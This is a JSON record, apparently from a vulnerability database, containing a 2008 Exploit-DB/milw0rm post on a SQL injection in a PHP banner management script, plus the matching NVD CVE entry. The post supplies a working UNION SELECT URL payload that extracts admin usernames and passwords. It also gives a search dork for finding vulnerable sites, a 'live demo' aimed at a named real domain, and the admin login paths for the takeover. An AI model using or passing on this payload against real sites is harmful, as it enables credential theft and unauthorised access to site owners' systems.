{"id": "EDB-ID:6276", "hash": "a506b2a054b70d546fdfe13bca5dd63a", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Banner Management Script tr.php id Remote SQL Injection Vulnerability", "description": "Banner Management Script (tr.php id) Remote SQL Injection Vulnerability. CVE-2008-3749. Webapps exploit for php platform", "published": "2008-08-19T00:00:00", "modified": "2008-08-19T00:00:00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/6276/", "reporter": "S.W.A.T.", "references": [], "cvelist": ["CVE-2008-3749"], "lastseen": "2016-01-31T23:33:10", "history": [], "viewCount": 2, "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-3749"]}], "modified": "2016-01-31T23:33:10"}, "vulnersScore": 7.5}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/6276/", "sourceData": "|___________________________________________________|\n|\n| Banner Management Script (tr.php id) Remote SQL Injection Vulnerability\n|\n|___________________________________________________\n|---------------------S.W.A.T.----------------------|\n|\n| Author: S.W.A.T.\n|\n| Home : www.svvat.ir\n|\n| email: svvateam[at]Yahoo[DoT]com\n|\n|\n|___________________________________________________\n| |\n|\n| script : http://www.yourfreeworld.com/script/bannermanagementscript.php\n|\n| DorK : inurl:tr.php?id= Banner\n|___________________________________________________|\n\nExploit:\n________\n\n\n\nwww.[target].com/Script/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--\n\n\n\n\n\n\nL!VE DEMO:\n_________\n\n\nhttp://www.downlinegoldmine.com/bannermanagerpro/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--\n\n\n____________\n\nAdmin Login :\n\nwww.[target].com/Script/admin.php\n\nor\n\nwww.[target].com/Script/adadmin.php\n\n# milw0rm.com [2008-08-19]\n", "osvdbidlist": ["47579"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2017-09-29T14:26:04", "bulletinFamily": "NVD", "description": "SQL injection vulnerability in tr.php in YourFreeWorld Banner Management Script allows remote attackers to execute arbitrary SQL commands via the id parameter.", "modified": "2017-09-28T21:31:49", "published": "2008-08-21T13:41:00", "id": "CVE-2008-3749", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-3749", "title": "CVE-2008-3749", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}